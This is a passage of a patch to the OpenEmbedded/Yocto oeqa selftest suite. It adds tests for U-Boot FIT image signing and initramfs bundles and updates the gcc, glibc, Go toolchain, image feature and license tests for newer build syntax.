+ Summary: Check if U-Boot FIT image and Image Tree Source (its) are
+ created and signed correctly for the scenario where only
+ the U-Boot proper fitImage is being created and signed.
+ Expected: 1) U-Boot its and FIT image are built successfully
+ 2) Scanning the its file indicates signing is enabled
+ as requested by SPL_SIGN_ENABLE (using keys generated
+ via UBOOT_FIT_GENERATE_KEYS)
+ 3) Dumping the FIT image indicates signature values
+ are present
+ 4) Examination of the do_uboot_assemble_fitimage
+ runfile/logfile indicate that UBOOT_MKIMAGE, UBOOT_MKIMAGE_SIGN
+ and SPL_MKIMAGE_SIGN_ARGS are working as expected.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com> based upon
+ work by Paul Eggleton <paul.eggleton@microsoft.com> and
+ Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# There's no U-boot deconfig with CONFIG_FIT_SIGNATURE yet, so we need at
+# least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+# The kernel-fitimage class is a dependency even if we're only
+# creating/signing the U-Boot fitImage
+KERNEL_CLASSES = " kernel-fitimage test-mkimage-wrapper "
+# Enable creation and signing of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+SPL_SIGN_ENABLE = "1"
+SPL_SIGN_KEYNAME = "spl-oe-selftest"
+SPL_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_DTB_BINARY = "u-boot.dtb"
+UBOOT_ENTRYPOINT = "0x80000000"
+UBOOT_LOADADDRESS = "0x80000000"
+UBOOT_DTB_LOADADDRESS = "0x82000000"
+UBOOT_ARCH = "arm"
+SPL_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+SPL_MKIMAGE_SIGN_ARGS = "-c 'a smart U-Boot comment'"
+UBOOT_EXTLINUX = "0"
+UBOOT_FIT_GENERATE_KEYS = "1"
+UBOOT_FIT_HASH_ALG = "sha256"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ req_itspaths = [
+ ['/', 'images', 'uboot'],
+ ['/', 'images', 'uboot', 'signature'],
+ ['/', 'images', 'fdt'],
+ ['/', 'images', 'fdt', 'signature'],
+ ]
+
+ itspath = []
+ itspaths = []
+ linect = 0
+ sigs = {}
+ with open(fitimage_its_path) as its_file:
+ linect += 1
+ for line in its_file:
+ line = line.strip()
+ if line.endswith('};'):
+ itspath.pop()
+ elif line.endswith('{'):
+ itspath.append(line[:-1].strip())
+ itspaths.append(itspath[:])
+ elif itspath and itspath[-1] == 'signature':
+ itsdotpath = '.'.join(itspath)
+ if not itsdotpath in sigs:
+ sigs[itsdotpath] = {}
+ if not '=' in line or not line.endswith(';'):
+ self.fail('Unexpected formatting in %s sigs section line %d:%s' % (fitimage_its_path, linect, line))
+ key, value = line.split('=', 1)
+ sigs[itsdotpath][key.rstrip()] = value.lstrip().rstrip(';')
+
+ for reqpath in req_itspaths:
+ if not reqpath in itspaths:
+ self.fail('Missing section in its file: %s' % reqpath)
+
+ reqsigvalues_image = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"spl-oe-selftest"',
+ }
+
+ for itspath, values in sigs.items():
+ reqsigvalues = reqsigvalues_image
+ for reqkey, reqvalue in reqsigvalues.items():
+ value = values.get(reqkey, None)
+ if value is None:
+ self.fail('Missing key "%s" in its file signature section %s' % (reqkey, itspath))
+ self.assertEqual(value, reqvalue)
+
+ # Dump the image to see if it really got signed
+ bitbake("u-boot-tools-native -c addto_recipe_sysroot")
+ result = runCmd('bitbake -e u-boot-tools-native | grep ^RECIPE_SYSROOT_NATIVE=')
+ recipe_sysroot_native = result.output.split('=')[1].strip('"')
+ dumpimage_path = os.path.join(recipe_sysroot_native, 'usr', 'bin', 'dumpimage')
+ result = runCmd('%s -l %s' % (dumpimage_path, fitimage_path))
+ in_signed = None
+ signed_sections = {}
+ for line in result.output.splitlines():
+ if line.startswith((' Image')):
+ in_signed = re.search('\((.*)\)', line).groups()[0]
+ elif re.match(' \w', line):
+ in_signed = None
+ elif in_signed:
+ if not in_signed in signed_sections:
+ signed_sections[in_signed] = {}
+ key, value = line.split(':', 1)
+ signed_sections[in_signed][key.strip()] = value.strip()
+ self.assertIn('uboot', signed_sections)
+ self.assertIn('fdt', signed_sections)
+ for signed_section, values in signed_sections.items():
+ value = values.get('Sign algo', None)
+ self.assertEqual(value, 'sha256,rsa2048:spl-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ value = values.get('Sign value', None)
+ self.assertEqual(len(value), 512, 'Signature value for section %s not expected length' % signed_section)
+
+ # Check for SPL_MKIMAGE_SIGN_ARGS
+ result = runCmd('bitbake -e virtual/kernel | grep ^T=')
+ tempdir = result.output.split('=', 1)[1].strip().strip('')
+ result = runCmd('grep "a smart U-Boot comment" %s/run.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'SPL_MKIMAGE_SIGN_ARGS value did not get used')
+
+ # Check for evidence of test-mkimage-wrapper class
+ result = runCmd('grep "### uboot-mkimage wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE did not work')
+ result = runCmd('grep "### uboot-mkimage signing wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN did not work')
+
+ def test_sign_cascaded_uboot_fit_image(self):
+ """
+ Summary: Check if U-Boot FIT image and Image Tree Source (its) are
+ created and signed correctly for the scenario where both
+ U-Boot proper and Kernel fitImages are being created and
+ signed.
+ Expected: 1) U-Boot its and FIT image are built successfully
+ 2) Scanning the its file indicates signing is enabled
+ as requested by SPL_SIGN_ENABLE (using keys generated
+ via UBOOT_FIT_GENERATE_KEYS)
+ 3) Dumping the FIT image indicates signature values
+ are present
+ 4) Examination of the do_uboot_assemble_fitimage
+ runfile/logfile indicate that UBOOT_MKIMAGE, UBOOT_MKIMAGE_SIGN
+ and SPL_MKIMAGE_SIGN_ARGS are working as expected.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com> based upon
+ work by Paul Eggleton <paul.eggleton@microsoft.com> and
+ Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# There's no U-boot deconfig with CONFIG_FIT_SIGNATURE yet, so we need at
+# least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+# Enable creation and signing of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+SPL_SIGN_ENABLE = "1"
+SPL_SIGN_KEYNAME = "spl-cascaded-oe-selftest"
+SPL_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_DTB_BINARY = "u-boot.dtb"
+UBOOT_ENTRYPOINT = "0x80000000"
+UBOOT_LOADADDRESS = "0x80000000"
+UBOOT_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+UBOOT_MKIMAGE_SIGN_ARGS = "-c 'a smart cascaded Kernel comment'"
+UBOOT_DTB_LOADADDRESS = "0x82000000"
+UBOOT_ARCH = "arm"
+SPL_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+SPL_MKIMAGE_SIGN_ARGS = "-c 'a smart cascaded U-Boot comment'"
+UBOOT_EXTLINUX = "0"
+UBOOT_FIT_GENERATE_KEYS = "1"
+UBOOT_FIT_HASH_ALG = "sha256"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage test-mkimage-wrapper "
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ req_itspaths = [
+ ['/', 'images', 'uboot'],
+ ['/', 'images', 'uboot', 'signature'],
+ ['/', 'images', 'fdt'],
+ ['/', 'images', 'fdt', 'signature'],
+ ]
+
+ itspath = []
+ itspaths = []
+ linect = 0
+ sigs = {}
+ with open(fitimage_its_path) as its_file:
+ linect += 1
+ for line in its_file:
+ line = line.strip()
+ if line.endswith('};'):
+ itspath.pop()
+ elif line.endswith('{'):
+ itspath.append(line[:-1].strip())
+ itspaths.append(itspath[:])
+ elif itspath and itspath[-1] == 'signature':
+ itsdotpath = '.'.join(itspath)
+ if not itsdotpath in sigs:
+ sigs[itsdotpath] = {}
+ if not '=' in line or not line.endswith(';'):
+ self.fail('Unexpected formatting in %s sigs section line %d:%s' % (fitimage_its_path, linect, line))
+ key, value = line.split('=', 1)
+ sigs[itsdotpath][key.rstrip()] = value.lstrip().rstrip(';')
+
+ for reqpath in req_itspaths:
+ if not reqpath in itspaths:
+ self.fail('Missing section in its file: %s' % reqpath)
+
+ reqsigvalues_image = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"spl-cascaded-oe-selftest"',
+ }
+
+ for itspath, values in sigs.items():
+ reqsigvalues = reqsigvalues_image
+ for reqkey, reqvalue in reqsigvalues.items():
+ value = values.get(reqkey, None)
+ if value is None:
+ self.fail('Missing key "%s" in its file signature section %s' % (reqkey, itspath))
+ self.assertEqual(value, reqvalue)
+
+ # Dump the image to see if it really got signed
+ bitbake("u-boot-tools-native -c addto_recipe_sysroot")
+ result = runCmd('bitbake -e u-boot-tools-native | grep ^RECIPE_SYSROOT_NATIVE=')
+ recipe_sysroot_native = result.output.split('=')[1].strip('"')
+ dumpimage_path = os.path.join(recipe_sysroot_native, 'usr', 'bin', 'dumpimage')
+ result = runCmd('%s -l %s' % (dumpimage_path, fitimage_path))
+ in_signed = None
+ signed_sections = {}
+ for line in result.output.splitlines():
+ if line.startswith((' Image')):
+ in_signed = re.search('\((.*)\)', line).groups()[0]
+ elif re.match(' \w', line):
+ in_signed = None
+ elif in_signed:
+ if not in_signed in signed_sections:
+ signed_sections[in_signed] = {}
+ key, value = line.split(':', 1)
+ signed_sections[in_signed][key.strip()] = value.strip()
+ self.assertIn('uboot', signed_sections)
+ self.assertIn('fdt', signed_sections)
+ for signed_section, values in signed_sections.items():
+ value = values.get('Sign algo', None)
+ self.assertEqual(value, 'sha256,rsa2048:spl-cascaded-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ value = values.get('Sign value', None)
+ self.assertEqual(len(value), 512, 'Signature value for section %s not expected length' % signed_section)
+
+ # Check for SPL_MKIMAGE_SIGN_ARGS
+ result = runCmd('bitbake -e virtual/kernel | grep ^T=')
+ tempdir = result.output.split('=', 1)[1].strip().strip('')
+ result = runCmd('grep "a smart cascaded U-Boot comment" %s/run.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'SPL_MKIMAGE_SIGN_ARGS value did not get used')
+
+ # Check for evidence of test-mkimage-wrapper class
+ result = runCmd('grep "### uboot-mkimage wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE did not work')
+ result = runCmd('grep "### uboot-mkimage signing wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN did not work')
+
+
+
+ def test_initramfs_bundle(self):
+ """
+ Summary: Verifies the content of the initramfs bundle node in the FIT Image Tree Source (its)
+ The FIT settings are set by the test case.
+ The machine used is beaglebone-yocto.
+ Expected: 1. The ITS is generated with initramfs bundle support
+ 2. All the fields in the kernel node are as expected (matching the
+ conf settings)
+ 3. The kernel is included in all the available configurations and
+ its hash is included in the configuration signature
+
+ Product: oe-core
+ Author: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
+ """
+
+ config = """
+DISTRO="poky"
+MACHINE = "beaglebone-yocto"
+INITRAMFS_IMAGE_BUNDLE = "1"
+INITRAMFS_IMAGE = "core-image-minimal-initramfs"
+INITRAMFS_SCRIPTS = ""
+UBOOT_MACHINE = "am335x_evm_defconfig"
+KERNEL_CLASSES = " kernel-fitimage "
+KERNEL_IMAGETYPES = "fitImage"
+UBOOT_SIGN_ENABLE = "1"
+UBOOT_SIGN_KEYNAME = "beaglebonekey"
+UBOOT_SIGN_KEYDIR ?= "${DEPLOY_DIR_IMAGE}"
+UBOOT_DTB_BINARY = "u-boot.dtb"
+UBOOT_ENTRYPOINT = "0x80000000"
+UBOOT_LOADADDRESS = "0x80000000"
+UBOOT_DTB_LOADADDRESS = "0x82000000"
+UBOOT_ARCH = "arm"
+UBOOT_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+UBOOT_EXTLINUX = "0"
+FIT_GENERATE_KEYS = "1"
+KERNEL_IMAGETYPE_REPLACEMENT = "zImage"
+FIT_KERNEL_COMP_ALG = "none"
+FIT_HASH_ALG = "sha256"
+"""
+ self.write_config(config)
+
+ # fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = get_bb_var('INITRAMFS_IMAGE')
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "fitImage-its-%s-%s-%s" % (image_type, machine, machine))
+ fitimage_path = os.path.join(deploy_dir_image,"fitImage")
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ kernel_load = str(get_bb_var('UBOOT_LOADADDRESS'))
+ kernel_entry = str(get_bb_var('UBOOT_ENTRYPOINT'))
+ kernel_compression = str(get_bb_var('FIT_KERNEL_COMP_ALG'))
+ uboot_arch = str(get_bb_var('UBOOT_ARCH'))
+ fit_hash_alg = str(get_bb_var('FIT_HASH_ALG'))
+
+ its_file = open(fitimage_its_path)
+
+ its_lines = [line.strip() for line in its_file.readlines()]
+
+ exp_node_lines = [
+ 'kernel-1 {',
+ 'description = "Linux kernel";',
+ 'data = /incbin/("linux.bin");',
+ 'type = "kernel";',
+ 'arch = "' + uboot_arch + '";',
+ 'os = "linux";',
+ 'compression = "' + kernel_compression + '";',
+ 'load = <' + kernel_load + '>;',
+ 'entry = <' + kernel_entry + '>;',
+ 'hash-1 {',
+ 'algo = "' + fit_hash_alg +'";',
+ '};',
+ '};'
+ ]
+
+ node_str = exp_node_lines[0]
+
+ test_passed = False
+
+ print ("checking kernel node\n")
+
+ if node_str in its_lines:
+ node_start_idx = its_lines.index(node_str)
+ node = its_lines[node_start_idx:(node_start_idx + len(exp_node_lines))]
+ if node == exp_node_lines:
+ print("kernel node verified")
+ else:
+ self.assertTrue(test_passed == True,"kernel node does not match expectation")
+
+ rx_configs = re.compile("^conf-.*")
+ its_configs = list(filter(rx_configs.match, its_lines))
+
+ for cfg_str in its_configs:
+ cfg_start_idx = its_lines.index(cfg_str)
+ line_idx = cfg_start_idx + 2
+ node_end = False
+ while node_end == False:
+ if its_lines[line_idx] == "};" and its_lines[line_idx-1] == "};" :
+ node_end = True
+ line_idx = line_idx + 1
+
+ node = its_lines[cfg_start_idx:line_idx]
+ print("checking configuration " + cfg_str.rstrip(" {"))
+ rx_desc_line = re.compile("^description.*1 Linux kernel.*")
+ if len(list(filter(rx_desc_line.match, node))) != 1:
+ self.assertTrue(test_passed == True,"kernel keyword not found in the description line")
+ break
+ else:
+ print("kernel keyword found in the description line")
+
+ if 'kernel = "kernel-1";' not in node:
+ self.assertTrue(test_passed == True,"kernel line not found")
+ break
+ else:
+ print("kernel line found")
+
+ rx_sign_line = re.compile("^sign-images.*kernel.*")
+ if len(list(filter(rx_sign_line.match, node))) != 1:
+ self.assertTrue(test_passed == True,"kernel hash not signed")
+ break
+ else:
+ print("kernel hash signed")
+
+ test_passed = True
+ self.assertTrue(test_passed == True,"Initramfs bundle test success")
diff --git a/meta/lib/oeqa/selftest/cases/gcc.py b/meta/lib/oeqa/selftest/cases/gcc.py
index 5a917b9c44..3efe15228f 100644
--- a/meta/lib/oeqa/selftest/cases/gcc.py
+++ b/meta/lib/oeqa/selftest/cases/gcc.py
@@ -21,8 +21,10 @@ class GccSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
def run_check(self, *suites, ssh = None):
targets = set()
for s in suites:
- if s in ["gcc", "g++"]:
- targets.add("check-gcc")
+ if s == "gcc":
+ targets.add("check-gcc-c")
+ elif s == "g++":
+ targets.add("check-gcc-c++")
else:
targets.add("check-target-{}".format(s))
@@ -77,7 +79,12 @@ class GccSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
@OETestTag("toolchain-user")
class GccCrossSelfTest(GccSelfTestBase):
def test_cross_gcc(self):
- self.run_check("gcc", "g++")
+ self.run_check("gcc")
+
+@OETestTag("toolchain-user")
+class GxxCrossSelfTest(GccSelfTestBase):
+ def test_cross_gxx(self):
+ self.run_check("g++")
@OETestTag("toolchain-user")
class GccLibAtomicSelfTest(GccSelfTestBase):
@@ -109,7 +116,12 @@ class GccLibItmSelfTest(GccSelfTestBase):
@OETestTag("toolchain-system")
class GccCrossSelfTestSystemEmulated(GccSelfTestBase):
def test_cross_gcc(self):
- self.run_check_emulated("gcc", "g++")
+ self.run_check_emulated("gcc")
+
+@OETestTag("toolchain-system")
+class GxxCrossSelfTestSystemEmulated(GccSelfTestBase):
+ def test_cross_gxx(self):
+ self.run_check_emulated("g++")
@OETestTag("toolchain-system")
class GccLibAtomicSelfTestSystemEmulated(GccSelfTestBase):
diff --git a/meta/lib/oeqa/selftest/cases/glibc.py b/meta/lib/oeqa/selftest/cases/glibc.py
index c687f6ef93..6f96281ea5 100644
--- a/meta/lib/oeqa/selftest/cases/glibc.py
+++ b/meta/lib/oeqa/selftest/cases/glibc.py
@@ -24,7 +24,7 @@ class GlibcSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
features.append('TOOLCHAIN_TEST_HOST_USER = "root"')
features.append('TOOLCHAIN_TEST_HOST_PORT = "22"')
# force single threaded test execution
- features.append('EGLIBCPARALLELISM_task-check_pn-glibc-testsuite = "PARALLELMFLAGS="-j1""')
+ features.append('EGLIBCPARALLELISM_task-check:pn-glibc-testsuite = "PARALLELMFLAGS="-j1""')
self.write_config("\n".join(features))
bitbake("glibc-testsuite -c check")
@@ -33,7 +33,7 @@ class GlibcSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
ptestsuite = "glibc-user" if ssh is None else "glibc"
self.ptest_section(ptestsuite)
- with open(os.path.join(builddir, "tests.sum"), "r") as f:
+ with open(os.path.join(builddir, "tests.sum"), "r", errors='replace') as f:
for test, result in parse_values(f):
self.ptest_result(ptestsuite, test, result)
diff --git a/meta/lib/oeqa/selftest/cases/gotoolchain.py b/meta/lib/oeqa/selftest/cases/gotoolchain.py
index 3119520f0d..c809d7c9b1 100644
--- a/meta/lib/oeqa/selftest/cases/gotoolchain.py
+++ b/meta/lib/oeqa/selftest/cases/gotoolchain.py
@@ -43,29 +43,34 @@ class oeGoToolchainSelfTest(OESelftestTestCase):
@classmethod
def tearDownClass(cls):
+ # Go creates file which are readonly
+ for dirpath, dirnames, filenames in os.walk(cls.tmpdir_SDKQA):
+ for filename in filenames + dirnames:
+ f = os.path.join(dirpath, filename)
+ if not os.path.islink(f):
+ os.chmod(f, 0o775)
shutil.rmtree(cls.tmpdir_SDKQA, ignore_errors=True)
super(oeGoToolchainSelfTest, cls).tearDownClass()
- def run_sdk_go_command(self, gocmd):
- cmd = "cd %s; " % self.tmpdir_SDKQA
+ def run_sdk_go_command(self, gocmd, proj, name):
+ cmd = "cd %s/src/%s/%s; " % (self.go_path, proj, name)
cmd = cmd + ". %s; " % self.env_SDK
cmd = cmd + "export GOPATH=%s; " % self.go_path
cmd = cmd + "${CROSS_COMPILE}go %s" % gocmd
return runCmd(cmd).status
def test_go_dep_build(self):
- proj = "github.com/golang"
- name = "dep"
- ver = "v0.3.1"
+ proj = "github.com/direnv"
+ name = "direnv"
+ ver = "v2.27.0"
archive = ".tar.gz"
url = "https://%s/%s/archive/%s%s" % (proj, name, ver, archive)
runCmd("cd %s; wget %s" % (self.tmpdir_SDKQA, url))
runCmd("cd %s; tar -xf %s" % (self.tmpdir_SDKQA, ver+archive))
runCmd("mkdir -p %s/src/%s" % (self.go_path, proj))
- runCmd("mv %s/dep-0.3.1 %s/src/%s/%s"
+ runCmd("mv %s/direnv-2.27.0 %s/src/%s/%s"
% (self.tmpdir_SDKQA, self.go_path, proj, name))
- retv = self.run_sdk_go_command('build %s/%s/cmd/dep'
- % (proj, name))
+ retv = self.run_sdk_go_command('build', proj, name)
self.assertEqual(retv, 0,
msg="Running go build failed for %s" % name)
diff --git a/meta/lib/oeqa/selftest/cases/image_typedep.py b/meta/lib/oeqa/selftest/cases/image_typedep.py
index 52e1080f13..5b182a8f94 100644
--- a/meta/lib/oeqa/selftest/cases/image_typedep.py
+++ b/meta/lib/oeqa/selftest/cases/image_typedep.py
@@ -9,7 +9,7 @@ from oeqa.utils.commands import bitbake
class ImageTypeDepTests(OESelftestTestCase):
- # Verify that when specifying a IMAGE_TYPEDEP_ of the form "foo.bar" that
+ # Verify that when specifying a IMAGE_TYPEDEP: of the form "foo.bar" that
# the conversion type bar gets added as a dep as well
def test_conversion_typedep_added(self):
@@ -22,7 +22,7 @@ LICENSE = "MIT"
IMAGE_FSTYPES = "testfstype"
IMAGE_TYPES_MASKED += "testfstype"
-IMAGE_TYPEDEP_testfstype = "tar.bz2"
+IMAGE_TYPEDEP:testfstype = "tar.bz2"
inherit image
diff --git a/meta/lib/oeqa/selftest/cases/imagefeatures.py b/meta/lib/oeqa/selftest/cases/imagefeatures.py
index ef2eefa860..d36d45c551 100644
--- a/meta/lib/oeqa/selftest/cases/imagefeatures.py
+++ b/meta/lib/oeqa/selftest/cases/imagefeatures.py
@@ -5,6 +5,7 @@
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import runCmd, bitbake, get_bb_var, runqemu
from oeqa.utils.sshcontrol import SSHControl
+import glob
import os
import json
@@ -67,18 +68,6 @@ class ImageFeatures(OESelftestTestCase):
self.assertEqual(status, 0, 'ssh to user tester failed with %s' % output)
- def test_clutter_image_can_be_built(self):
- """
- Summary: Check if clutter image can be built
- Expected: 1. core-image-clutter can be built
- Product: oe-core
- Author: Ionut Chisanovici <ionutx.chisanovici@intel.com>
- AutomatedBy: Daniel Istrate <daniel.alexandrux.istrate@intel.com>
- """
-
- # Build a core-image-clutter
- bitbake('core-image-clutter')
-
def test_wayland_support_in_image(self):
"""
Summary: Check Wayland support in image
@@ -208,13 +197,13 @@ class ImageFeatures(OESelftestTestCase):
"""
image_name = 'core-image-minimal'
- img_types = [itype for itype in get_bb_var("IMAGE_TYPES", image_name).split() \
- if itype not in ('container', 'elf', 'f2fs', 'multiubi')]
+ all_image_types = set(get_bb_var("IMAGE_TYPES", image_name).split())
+ skip_image_types = set(('container', 'elf', 'f2fs', 'multiubi', 'tar.zst', 'wic.zst'))
+ img_types = all_image_types - skip_image_types
config = 'IMAGE_FSTYPES += "%s"\n'\
'MKUBIFS_ARGS ?= "-m 2048 -e 129024 -c 2047"\n'\
'UBINIZE_ARGS ?= "-m 2048 -p 128KiB -s 512"' % ' '.join(img_types)
-
self.write_config(config)
bitbake(image_name)
@@ -239,8 +228,8 @@ USERADD_GID_TABLES += "files/static-group"
def test_no_busybox_base_utils(self):
config = """
-# Enable x11
-DISTRO_FEATURES_append += "x11"
+# Enable wayland
+DISTRO_FEATURES:append = " pam opengl wayland"
# Switch to systemd
DISTRO_FEATURES += "systemd"
@@ -256,9 +245,50 @@ VIRTUAL-RUNTIME_base-utils = "packagegroup-core-base-utils"
VIRTUAL-RUNTIME_base-utils-hwclock = "util-linux-hwclock"
VIRTUAL-RUNTIME_base-utils-syslog = ""
-# Blacklist busybox
-PNBLACKLIST[busybox] = "Don't build this"
+# Skip busybox
+SKIP_RECIPE[busybox] = "Don't build this"
"""
self.write_config(config)
- bitbake("--graphviz core-image-sato")
+ bitbake("--graphviz core-image-weston")
+
+ def test_image_gen_debugfs(self):
+ """
+ Summary: Check debugfs generation
+ Expected: 1. core-image-minimal can be build with IMAGE_GEN_DEBUGFS variable set
+ 2. debug filesystem is created when variable set
+ 3. debug symbols available
+ Product: oe-core
+ Author: Humberto Ibarra <humberto.ibarra.lopez@intel.com>
+ Yeoh Ee Peng <ee.peng.yeoh@intel.com>
+ """
+
+ image_name = 'core-image-minimal'
+ features = 'IMAGE_GEN_DEBUGFS = "1"\n'
+ features += 'IMAGE_FSTYPES_DEBUGFS = "tar.bz2"\n'
+ features += 'MACHINE = "genericx86-64"\n'
+ self.write_config(features)
+
+ bitbake(image_name)
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ dbg_tar_file = os.path.join(deploy_dir_image, "*-dbg.rootfs.tar.bz2")
+ debug_files = glob.glob(dbg_tar_file)
+ self.assertNotEqual(len(debug_files), 0, 'debug filesystem not generated at %s' % dbg_tar_file)
+ result = runCmd('cd %s; tar xvf %s' % (deploy_dir_image, dbg_tar_file))
+ self.assertEqual(result.status, 0, msg='Failed to extract %s: %s' % (dbg_tar_file, result.output))
+ result = runCmd('find %s -name %s' % (deploy_dir_image, "udevadm"))
+ self.assertTrue("udevadm" in result.output, msg='Failed to find udevadm: %s' % result.output)
+ dbg_symbols_targets = result.output.splitlines()
+ self.assertTrue(dbg_symbols_targets, msg='Failed to split udevadm: %s' % dbg_symbols_targets)
+ for t in dbg_symbols_targets:
+ result = runCmd('objdump --syms %s | grep debug' % t)
+ self.assertTrue("debug" in result.output, msg='Failed to find debug symbol: %s' % result.output)
+
+ def test_empty_image(self):
+ """Test creation of image with no packages"""
+ bitbake('test-empty-image')
+ res_dir = get_bb_var('DEPLOY_DIR_IMAGE')
+ images = os.path.join(res_dir, "test-empty-image-*.manifest")
+ result = glob.glob(images)
+ with open(result[1],"r") as f:
+ self.assertEqual(len(f.read().strip()),0)
diff --git a/meta/lib/oeqa/selftest/cases/incompatible_lic.py b/meta/lib/oeqa/selftest/cases/incompatible_lic.py
index 904b5b4094..0794d46e6d 100644
--- a/meta/lib/oeqa/selftest/cases/incompatible_lic.py
+++ b/meta/lib/oeqa/selftest/cases/incompatible_lic.py
@@ -1,10 +1,65 @@
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import bitbake
+class IncompatibleLicenseTestObsolete(OESelftestTestCase):
+
+ def lic_test(self, pn, pn_lic, lic, error_msg=None):
+ if not error_msg:
+ error_msg = 'ERROR: Nothing PROVIDES \'%s\'\n%s was skipped: it has incompatible license(s): %s' % (pn, pn, pn_lic)
+
+ self.write_config("INCOMPATIBLE_LICENSE += \"%s\"" % (lic))
+
+ result = bitbake('%s --dry-run' % (pn), ignore_status=True)
+ if error_msg not in result.output:
+ raise AssertionError(result.output)
+
+ # Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
+ # cannot be built when INCOMPATIBLE_LICENSE contains an alias (in
+ # SPDXLICENSEMAP) of this SPDX license
+ def test_incompatible_alias_spdx_license(self):
+ self.lic_test('incompatible-license', 'GPL-3.0-only', 'GPLv3', "is an obsolete license, please use an SPDX reference in INCOMPATIBLE_LICENSE")
+
+ # Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
+ # cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded alias
+ # license matching this SPDX license
+ def test_incompatible_alias_spdx_license_wildcard(self):
+ self.lic_test('incompatible-license', 'GPL-3.0-only', '*GPLv3', "*GPLv3 is an invalid license wildcard entry")
+
+ # Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
+ # license cannot be built when INCOMPATIBLE_LICENSE contains this alias
+ def test_incompatible_alias_spdx_license_alias(self):
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', 'GPLv3', "is an obsolete license, please use an SPDX reference in INCOMPATIBLE_LICENSE")
+
+ # Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
+ # license cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded
+ # license matching this SPDX license
+ def test_incompatible_spdx_license_alias_wildcard(self):
